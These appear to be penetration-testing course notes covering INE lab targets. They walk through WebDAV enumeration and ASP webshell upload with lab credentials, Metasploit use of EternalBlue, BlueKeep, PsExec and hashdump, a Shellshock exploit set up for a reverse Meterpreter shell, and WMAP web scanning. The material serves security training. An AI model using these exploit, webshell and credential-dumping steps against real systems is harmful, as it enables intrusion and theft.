Skip to content

Vulnerability Assessment

image.png

image.png

Overview of Windows Vulnerability

image.png

image.png

image.png

image.png

image.png

image.png

image.png

One Should Must be aware of these in Penetration Testing !

image.png

image.png

Using Auxiliary Modules and Exploits

image.png

Learn the techniques :

Kali also has an exploit database : searchsploit "Microsoft Windows SMB" this will list everything | grep -e "Metasploit"

Most valuable plugin : metasploit-autopwn > hahwul/metasploit-sutopwn

analyze command , services

image.png

image.png

image.png

image.png

On Resume :

image.png

Objective

To test the target demo.ine.local for WebDAV misconfigurations and ultimately upload a working ASP webshell using proper authentication.

🧾 Step-by-Step Breakdown

1. Enumeration with Nmap

You ran:

bash
CopyEdit
nmap -sV -sC demo.ine.local
  • Detected WebDAV support on http://demo.ine.local/webdav via IIS 10.0.
  • Identified potentially dangerous HTTP methods like PUT, DELETE, MOVE, etc.
  • Port 80 (HTTP) and 445 (SMB) were open; WebDAV was active.

Then ran:

bash
CopyEdit
nmap -sV -p 80 --script=http-enum demo.ine.local
  • Confirmed the presence of /webdav/ — required auth (401 Unauthorized).

2. Testing WebDAV with davtest

Initial test without auth:

bash
CopyEdit
davtest -url http://demo.ine.local/webdav
  • Failed due to lack of credentials (401 Unauthorized).

Then you provided credentials:

bash
CopyEdit
davtest -auth bob:password_123321 -url http://demo.ine.local/webdav
  • Success! Authenticated to WebDAV as user bob.
  • Uploaded multiple test files with various extensions: .asp, .php, .html, etc.
  • Checked if files executed server-side.

Executable file types:

  • .txt
  • .html
  • .asp

Other files like .php, .cgi, .jsp did not execute (likely blocked in IIS).

3. WebDAV Shell Upload with cadaver

You launched a manual WebDAV session:

bash
CopyEdit
cadaver http://demo.ine.local/webdav
  • Authenticated again with bob:password_123321.
  • Verified contents with ls:
    • Found: DavTestDir_..., AttackDefense.txt, web.config

  • Checked file content using:

    bash
CopyEdit
cat AttackDefense.txt

Successfully uploaded a real webshell:

bash
CopyEdit
put /usr/share/webshells/asp/webshell.asp
  • This file was successfully uploaded and listed in the /webdav/ directory.
  • Filename: webshell.asp (1362 bytes)

This is the critical step where you placed a potential remote access point (webshell) on the server — assuming .asp files execute (which they did based on davtest earlier).

VULNERABILITY ANALYSIS

ETERNAL-BLUE

image.png

image.png

image.png

image.png

image.png

Manual is the Github Repo

Automatically : msfconsole

search eternalblue

auxmodule > use this > use the aux module > show options > Global RHOSTS & RHOST > after some time it will directly go to meterpreter

image.png

image.png

image.png

image.png

Port for RDP is 3389

  • msfconsole > search BlueKeep > aux module > use 0 > set RHOSTS > works on 64 bit version > explot > show targets >

image.png

image.png

Tools: Metasploit PsExec module & Crackmapexec

In msfconsole > search badblue > explore that or show options > - - help also works > exploit or run

image.png

lsa_dump_sam > to dump the hashes

then in meterpreter > hashdump

search psexec > Auth code execution >

alternative:

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

(root㉿INE)-[~] └─# nmap -sV 192.45.79.3 --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi"

Summary of Shellshock Exploitation on demo.ine.local using Metasploit

Objective

Exploit the Shellshock vulnerability (CVE-2014-6271) on a CGI script (/gettime.cgi) hosted on the target demo.ine.local to gain a Meterpreter reverse shell.

Key Steps Performed

1. Load the Exploit Module

use exploit/multi/http/apache_mod_cgi_bash_env_exec

This module targets vulnerable CGI scripts using bash and injects malicious payloads via HTTP headers (e.g., User-Agent).

2. Configure Exploit Settings

You properly set:

  • RHOSTS: demo.ine.local (target)
  • TARGETURI: /gettime.cgi (vulnerable CGI script)
  • RPORT: 80 (default HTTP port)
  • PAYLOAD: linux/x86/meterpreter/reverse_tcp
  • LPORT: 4444 (listener port)
  • LHOST: updated from 127.0.0.1 to your actual IP 192.45.79.2 for reverse connection

This correction was critical — setting LHOST=127.0.0.1 would trap the listener on the local loopback and block external connections.

3. Launch Exploit

exploit
  • Successfully staged and delivered the payload.
  • Reverse TCP connection was established.
  • Meterpreter session opened: Success!

4. Post-Exploitation Check

meterpreter > sysinfo

Output:

  • Target OS: Ubuntu 14.04
  • Kernel: Linux 6.8.0-40-generic
  • Meterpreter: x86/linux (despite x64 OS — payload used was 32-bit)

Final Outcome

You successfully exploited a vulnerable CGI endpoint on a Linux system using Shellshock, corrected listener misconfiguration (LHOST), and gained a fully interactive Meterpreter session on demo.ine.local.

This confirms:

  • The system is vulnerable to CVE-2014-6271.
  • Remote Code Execution (RCE) via crafted HTTP requests is possible.
  • You now have remote control and can proceed with privilege escalation, pivoting, or post-exploitation enumeration.

Vulnerability Scanning

TOOL : NESSUS

image.png

image.png

image.png

WEB APPLICATION VULNERABILITY SCANNING WITH WMAP

image.png

image.png

Below is a step-by-step explanation of what is going on in your Metasploit session, along with an overview of WMAP itself. In short:

  • What you're seeing: You have loaded the WMAP plugin inside Metasploit and have been adding/defining sites/targets, then running web-scanning modules via the wmap_run command.
  • What is WMAP?: WMAP is not a completely separate framework—it is a web application vulnerability scanning "plugin" (or subsystem) integrated within the Metasploit Framework. It adds commands that help you manage web application targets, run sets of web-focused modules, and store results in Metasploit's database.

1. WMAP Overview

What is WMAP?

  • WMAP (sometimes called "WebMap") is the Web Application Scanning component/plugin that comes with Metasploit.
  • It was initially designed to offer an all-in-one approach to performing web application assessments right inside Metasploit—similar to how you might use external web scanners but integrated into Metasploit's database and module system.
  • WMAP is not its own separate framework in the sense that Metasploit is. Instead, it extends Metasploit with commands that let you:
    • Add or list web application targets (wmap_sites, wmap_targets)
    • Launch scanning modules in bulk (using wmap_run)
    • List or review discovered vulnerabilities (wmap_vulns)
    • Manage WMAP modules and the internal "nodes" concept for deeper scanning

Why use WMAP instead of just normal Metasploit modules?

  • You certainly can run each Metasploit HTTP/HTTPS scanner module individually, setting RHOSTS, RPORT, etc.
  • But if you're doing a broad web scan or want to do repeated scanning across multiple hosts and store your findings, WMAP helps organize that.
  • With WMAP, you create Sites and Targets inside a specific Metasploit workspace. Then, you can do one big wmap_run to execute all (or a subset) of HTTP-based modules, storing results in your Metasploit database automatically.

2. Walking Through the Commands and Outputs

A. Adding a Site

msf6 > wmap_sites -a 192.163.226.3
[*] Site created.
  • You used the wmap_sites command with the a flag to add a new site, in this case pointing to 192.163.226.3.
  • If you run wmap_sites -l, it shows a table of "sites" that WMAP knows about.

B. Defining the Target

msf6 > wmap_targets -t http://192.163.226.3
msf6 > wmap_targets -l
  • wmap_targets -t is how you define the "active" target(s) that WMAP will scan.
  • When you do wmap_targets -l, you see the ID, host, port, SSL info, and path for that target.

C. Running a Scan (wmap_run)

You tried:

msf6 > wmap_run -t
[*] Testing target:
...
[*] 39 wmap enabled modules loaded.
...
  • wmap_run -t simply shows which "enabled" WMAP modules would potentially run against your targets. It does not fully execute them. It is mostly a quick test or "preview."

Then you tried:

msf6 > wmap_run -e
  • e means "run all enabled WMAP modules" against the defined targets.
  • You can also specify a path to a custom "profile" after e to only run certain modules, but leaving it blank runs all.

From the output, you can see that it enumerated things like:

  • auxiliary/scanner/http/http_version (identified Apache/2.4.6)
  • auxiliary/scanner/http/dir_scanner
  • auxiliary/scanner/http/trace (found Cross-Site Tracing vulnerability)
  • And so on…

It also discovered:

[*] + [192.163.226.3] (192.163.226.3): directory /cgi-bin/
[*] + [192.163.226.3] (192.163.226.3): directory /static/
[*] + [192.163.226.3] (192.163.226.3): file /index.html

These are the "vulnerabilities" or "findings" from the scanning modules, which you saw listed when running:

msf6 > wmap_vulns -l

Note that WMAP lumps "found directories" or "found files" under "vulns," even though they may not be true vulnerabilities. They're just enumerated results.

D. Using Modules Directly in Metasploit

Finally, you switched to a direct module usage:

msf6 > use auxiliary/scanner/http/options
msf6 auxiliary(scanner/http/options) > show options
msf6 auxiliary(scanner/http/options) > run
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
  • In the normal Metasploit workflow, if you do use auxiliary/scanner/http/options, you must manually set RHOSTS (for example, set RHOSTS 192.163.226.3) before you can run the module. Unlike wmap_run, it doesn't automatically grab the target from the WMAP settings.

  • So if you want to do it by hand, you'd do:

    msf6 auxiliary(scanner/http/options) > set RHOSTS 192.163.226.3
msf6 auxiliary(scanner/http/options) > run

    This sets your target and runs that scanner specifically.

3. What Exactly is WMAP?

  1. It's a Metasploit Plugin
    • You loaded it by typing load wmap in the Metasploit console. Once it's loaded, you get those extra wmap_* commands.
  2. It Extends Metasploit's Database
    • WMAP integrates with the same database Metasploit uses for storing discovered hosts, vulnerabilities, credentials, etc.
    • You can see your WMAP site entries in the same workspace as your other Metasploit data.
  3. It's for Web App Discovery and Enumeration
    • WMAP organizes and runs "web modules" (HTTP scanners, web vulnerabilities, etc.) in a batch or profile-based approach.
    • It's especially helpful if you have to test multiple web apps, keep track of them in a workspace, and want to store all your web scan results in one place.
  4. It's not a separate full-blown framework
    • You don't install it as a standalone tool like nikto or w3af; it's a part of Metasploit's ecosystem.
    • You can think of it as an official "web vulnerability scanning plugin" that leverages Metasploit's standard modules and database.

4. Key WMAP Commands

Below are the main commands you'll commonly use with WMAP:

  • wmap_sites:
    • a <url> to add a site
    • l to list your known sites
    • d <id> to delete
    • s <id> to show the structure of a site if discovered
  • wmap_targets:
    • t <url> to define the active target(s)
    • c to clean the list of targets
    • l to list currently defined targets
  • wmap_run:
    • h to show help
    • t to list which modules are going to be run
    • m <regex> to run only modules matching a certain pattern
    • p <regex> to only test certain paths
    • e <profile> to run all modules or a specific profile
  • wmap_vulns:
    • l to list all discovered "vulns" (including found directories, etc.)
  • wmap_modules and wmap_nodes:
    • Less commonly used at first. They allow you to manage which modules are "enabled" in WMAP and how WMAP organizes discovered endpoints internally.

5. Summary

  1. WMAP is a plugin for Metasploit, not a standalone framework.
  2. It lets you manage sites/targets for web application scanning.
  3. You can then launch a batch of modules (like directory brute forcing, version detection, SQL injection checks, etc.) easily with commands such as wmap_run -e.
  4. All results are stored within Metasploit's database, so you can use Metasploit's built-in commands (vulns, services, hosts, etc.) to review everything.

That's the core idea: Metasploit + WMAP = an integrated environment where you do network exploitation, standard exploit modules, and now, web scanning, all in one place.